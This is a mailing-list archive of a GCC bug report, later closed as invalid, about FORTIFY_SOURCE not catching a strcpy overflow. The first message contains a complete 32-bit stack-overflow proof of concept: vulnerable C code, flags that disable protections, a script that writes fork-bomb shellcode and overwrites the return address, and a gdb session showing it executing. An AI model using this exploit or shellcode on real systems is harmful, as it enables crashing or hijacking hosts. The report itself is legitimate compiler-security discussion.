public inbox for gcc-bugs@sourceware.org
help / color / mirror / Atom feed
* [Bug c/110168] New: Security issue on FORTIFY_SOURCE for strcpy function (tested on i386/32 bits)
@ 2023-06-08  8:02 moncho.mendez at uvigo dot gal
  2023-06-08 13:48 ` [Bug c/110168] " sjames at gcc dot gnu.org
                   ` (3 more replies)
  0 siblings, 4 replies; 5+ messages in thread
From: moncho.mendez at uvigo dot gal @ 2023-06-08  8:02 UTC (permalink / raw)
  To: gcc-bugs

https://gcc.gnu.org/bugzilla/show_bug.cgi?id=110168

            Bug ID: 110168
           Summary: Security issue on FORTIFY_SOURCE for strcpy function
                    (tested on i386/32 bits)
           Product: gcc
           Version: 10.2.1
            Status: UNCONFIRMED
          Severity: normal
          Priority: P3
         Component: c
          Assignee: unassigned at gcc dot gnu.org
          Reporter: moncho.mendez at uvigo dot gal
  Target Milestone: ---

Created attachment 55281
  --> https://gcc.gnu.org/bugzilla/attachment.cgi?id=55281&action=edit
Files used to reproduce the reported issue (see Description)

The source fortification FORTIFY_SOURCE seems not to be working properly with
some functions such as strcpy with should be automatically linked with strncpy.
I have tested on 32 bits. I was using gcc 10.2.1 (Debian 11) but other versions
of the compiler have the same issue.

Please find below a simple C program to show the issue. The program is included
below (also attached as stack.c):

===================================
#include <string.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

bool confirm(char *confirmacion){
   char buf[15];
   strcpy(buf,confirmacion);

   return tolower(buf[0])!='y';
}

int main(int argc, char *argv[]){
   if (argc>1)
     return confirm(argv[1]);
   else return 1;
}
===================================

I have disabled Linux Address Space Layout Randomization (ASLR) (sysctl
kernel.randomize_va_space=0) to help to reproduce the error. I provide a script
(no_ASLR.sh) to do it.

The source code was compiled with a Makefile (included in the attached file): 

===================================
CC = gcc 
CFLAGS = -m32 --static -z execstack --save-temps

all: stack.o stack.s
        $(CC) -g $(CFLAGS) -o stack stack.o

%.o: %.c 
        $(CC) -c -g -o $@ $< $(CFLAGS)

clean:
        rm -f *.o *.s stack
===================================

Using make no error/warning is generated. See the following output:

===================================
# make
gcc  -c -g -o stack.o stack.c -m32 --static -z execstack 
gcc  -S -c -fno-asynchronous-unwind-tables -o stack.s stack.c -m32 --static -z
execstack 
gcc  -g -m32 --static -z execstack  -o stack stack.o
===================================

I generated a script to create content for the first command line argument
(create_xploit.sh in the attached file):

===================================
#!/bin/bash

# The shellcode implements a forkbomb in 7 bytes
# Shellcode is available at 
#   http://shell-storm.org/shellcode/files/shellcode-214.html
#
# section .text
#      global _start
# _start:
#      push byte 2
#      pop eax
#      int 0x80
#      jmp short _start
# Shellcode "\x6a\x02\x58\xcd\x80\xeb\xf9"

#Add the shellcode (7 bytes)
echo -e -n "\x6a\x02\x58\xcd\x80\xeb\xf9" > xploit

#Fill the remaining 17 bytes (from byte 8 to byte 24, including both)
for i in $(seq 8 23)
do
  echo -e -n "\x90" >> xploit
done 

#insert here two addresses to overwrite the ebp and eip copies
#bytes should be included in reverse order
#(gdb) p &buf
#$1 = (char (*)[15]) 0xffffdc81

for i in 1 2
do
  echo -e -n "\x81\xdc\xff\xff" >> xploit
done
===================================

And then the program was launched with gdb debugger ('#' and '(gdb)' are the
prompts of bash and gdb, respectivelly)

===================================
# export ARG1=$(cat xploit)
# gdb stack
(gdb) list
4       #include <stdlib.h>
5       #include <stdbool.h>
6       
7       bool confirm(char *confirmacion){
8          char buf[15];
9          strcpy(buf,confirmacion);
10      
11         return tolower(buf[0])!='y';
12      }
13      
(gdb) b 9
Breakpoint 1 at 0x8049d07: file stack.c, line 9.
(gdb) run $ARG1
Starting program: /root/4_fort_source/stack $ARG1

Breakpoint 1, confirm (
    confirmacion=0xffffde9c "j\002X̀\353\371", '\220' <repeats 16 times>,
"\201\334\377\377\201\334\377\377") at stack.c:9
9          strcpy(buf,confirmacion);

(gdb)  p &buf
$1 = (char (*)[15]) 0xffffdc81
(gdb) info frame
Stack level 0, frame at 0xffffdca0:
 eip = 0x8049d07 in confirm (stack.c:9); saved eip = 0x8049d6a
 called by frame at 0xffffdcd0
 source language c.
 Arglist at 0xffffdc98, args: 
    confirmacion=0xffffde9c "j\002X̀\353\371", '\220' <repeats 16 times>,
"\201\334\377\377\201\334\377\377"
 Locals at 0xffffdc98, Previous frame's sp is 0xffffdca0
 Saved registers:
  ebx at 0xffffdc94, ebp at 0xffffdc98, eip at 0xffffdc9c
(gdb) step
11         return tolower(buf[0])!='y';
(gdb) x/5i &buf
   0xffffdc81:  push   $0x2
   0xffffdc83:  pop    %eax
   0xffffdc84:  int    $0x80
   0xffffdc86:  jmp    0xffffdc81
   0xffffdc88:  nop
(gdb) x/2xw 0xffffdc98
0xffffdc98:     0xffffdc81      0xffffdc81
(gdb) continue

===================================

After the last program the shellcode is executed and lots of processes are
created. 

In order to sucessfully get the same results, the script used to generate the
first arg should be modified acording to the address where the stack variable
"buf" is stored when using the variable ARG1 as first argument. The
replacements should be made in the last but one sentence of the script. The
bytes of the address should be added in reverse order. 

The fortification of some functions (such as gets) is working properly and they
are replaced (during linking) by the secure ones (fgets). Moreover for these
functions the compiler show a warning about a call to an insecure function.
However strcpy function does not generate any warning and is not secured
properly linked with strncpy. The call strcpy(dst,src) is equivalent to
strncpy(dst,src,sizeof(dst)/sizeof(char)-1). This can be made manually but...
gcc should do it.

The preprocessed file generated by gcc is also included in the attached file.

Do not hesitate contact me for further information.

Best regards.

^ permalink raw reply	[flat|nested] 5+ messages in thread

* [Bug c/110168] Security issue on FORTIFY_SOURCE for strcpy function (tested on i386/32 bits)
  2023-06-08  8:02 [Bug c/110168] New: Security issue on FORTIFY_SOURCE for strcpy function (tested on i386/32 bits) moncho.mendez at uvigo dot gal
@ 2023-06-08 13:48 ` sjames at gcc dot gnu.org
  2023-06-08 15:42 ` moncho.mendez at uvigo dot gal
                   ` (2 subsequent siblings)
  3 siblings, 0 replies; 5+ messages in thread
From: sjames at gcc dot gnu.org @ 2023-06-08 13:48 UTC (permalink / raw)
  To: gcc-bugs

https://gcc.gnu.org/bugzilla/show_bug.cgi?id=110168

Sam James <sjames at gcc dot gnu.org> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |sjames at gcc dot gnu.org

--- Comment #1 from Sam James <sjames at gcc dot gnu.org> ---
Please note that:
1. _FORTIFY_SOURCE does nothing without optimisation;
2. you're not explicitly enabling _F_S here - I know Debian patches it on (we
do in Gentoo too), but for bug reports, it's best to be explicit.

^ permalink raw reply	[flat|nested] 5+ messages in thread

* [Bug c/110168] Security issue on FORTIFY_SOURCE for strcpy function (tested on i386/32 bits)
  2023-06-08  8:02 [Bug c/110168] New: Security issue on FORTIFY_SOURCE for strcpy function (tested on i386/32 bits) moncho.mendez at uvigo dot gal
  2023-06-08 13:48 ` [Bug c/110168] " sjames at gcc dot gnu.org
@ 2023-06-08 15:42 ` moncho.mendez at uvigo dot gal
  2023-06-08 17:00 ` jakub at gcc dot gnu.org
  2023-06-09 12:31 ` xry111 at gcc dot gnu.org
  3 siblings, 0 replies; 5+ messages in thread
From: moncho.mendez at uvigo dot gal @ 2023-06-08 15:42 UTC (permalink / raw)
  To: gcc-bugs

https://gcc.gnu.org/bugzilla/show_bug.cgi?id=110168

--- Comment #2 from José Ramón Méndez Reboredo <moncho.mendez at uvigo dot gal> ---
I have checked it. And you are right. Source fortification is only enabled when
using -O* options (optimization). Al also checked that the usage of the option
-D_FORTIFY_SOURCE=1 is not enough to enable it (-O* is required). I do not know
if -O* should be mandatory for this purpose. 

I'm afraid we should close this ticket/bug (feel free to do it). Perhaps we
could close this one and create another one stating that optimization options
should not be required to enable code fortification.

Thanks for your time. 

Best regards.

^ permalink raw reply	[flat|nested] 5+ messages in thread

* [Bug c/110168] Security issue on FORTIFY_SOURCE for strcpy function (tested on i386/32 bits)
  2023-06-08  8:02 [Bug c/110168] New: Security issue on FORTIFY_SOURCE for strcpy function (tested on i386/32 bits) moncho.mendez at uvigo dot gal
  2023-06-08 13:48 ` [Bug c/110168] " sjames at gcc dot gnu.org
  2023-06-08 15:42 ` moncho.mendez at uvigo dot gal
@ 2023-06-08 17:00 ` jakub at gcc dot gnu.org
  2023-06-09 12:31 ` xry111 at gcc dot gnu.org
  3 siblings, 0 replies; 5+ messages in thread
From: jakub at gcc dot gnu.org @ 2023-06-08 17:00 UTC (permalink / raw)
  To: gcc-bugs

https://gcc.gnu.org/bugzilla/show_bug.cgi?id=110168

Jakub Jelinek <jakub at gcc dot gnu.org> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
         Resolution|---                         |INVALID
                 CC|                            |jakub at gcc dot gnu.org
             Status|UNCONFIRMED                 |RESOLVED

--- Comment #3 from Jakub Jelinek <jakub at gcc dot gnu.org> ---
At least -O is intentionally required, without that while e.g. always_inline
inline functions are inlined, arguments to them aren't really forward
propagated, so __builtin_object_size (x, [01]) would pretty much always return
-1, as it couldn't track what the pointer points to.

^ permalink raw reply	[flat|nested] 5+ messages in thread

* [Bug c/110168] Security issue on FORTIFY_SOURCE for strcpy function (tested on i386/32 bits)
  2023-06-08  8:02 [Bug c/110168] New: Security issue on FORTIFY_SOURCE for strcpy function (tested on i386/32 bits) moncho.mendez at uvigo dot gal
                   ` (2 preceding siblings ...)
  2023-06-08 17:00 ` jakub at gcc dot gnu.org
@ 2023-06-09 12:31 ` xry111 at gcc dot gnu.org
  3 siblings, 0 replies; 5+ messages in thread
From: xry111 at gcc dot gnu.org @ 2023-06-09 12:31 UTC (permalink / raw)
  To: gcc-bugs

https://gcc.gnu.org/bugzilla/show_bug.cgi?id=110168

Xi Ruoyao <xry111 at gcc dot gnu.org> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |xry111 at gcc dot gnu.org

--- Comment #4 from Xi Ruoyao <xry111 at gcc dot gnu.org> ---
With GCC-13.1.0 and Glibc-2.37 we have:

$ cc hw.c -D_FORTIFY_SOURCE
In file included from /usr/include/bits/libc-header-start.h:33,
                 from /usr/include/stdio.h:27,
                 from hw.c:1:
/usr/include/features.h:413:4: warning: #warning _FORTIFY_SOURCE requires
compiling with optimization (-O) [-Wcpp]
  413 | #  warning _FORTIFY_SOURCE requires compiling with optimization (-O)
      |    ^~~~~~~

It's enough to highlight the "issue".  If there is no such warning, it's
because the downstream distro is doing stupid thing and the distro maintainer
should fix it.

^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2023-06-09 12:31 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2023-06-08  8:02 [Bug c/110168] New: Security issue on FORTIFY_SOURCE for strcpy function (tested on i386/32 bits) moncho.mendez at uvigo dot gal
2023-06-08 13:48 ` [Bug c/110168] " sjames at gcc dot gnu.org
2023-06-08 15:42 ` moncho.mendez at uvigo dot gal
2023-06-08 17:00 ` jakub at gcc dot gnu.org
2023-06-09 12:31 ` xry111 at gcc dot gnu.org

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).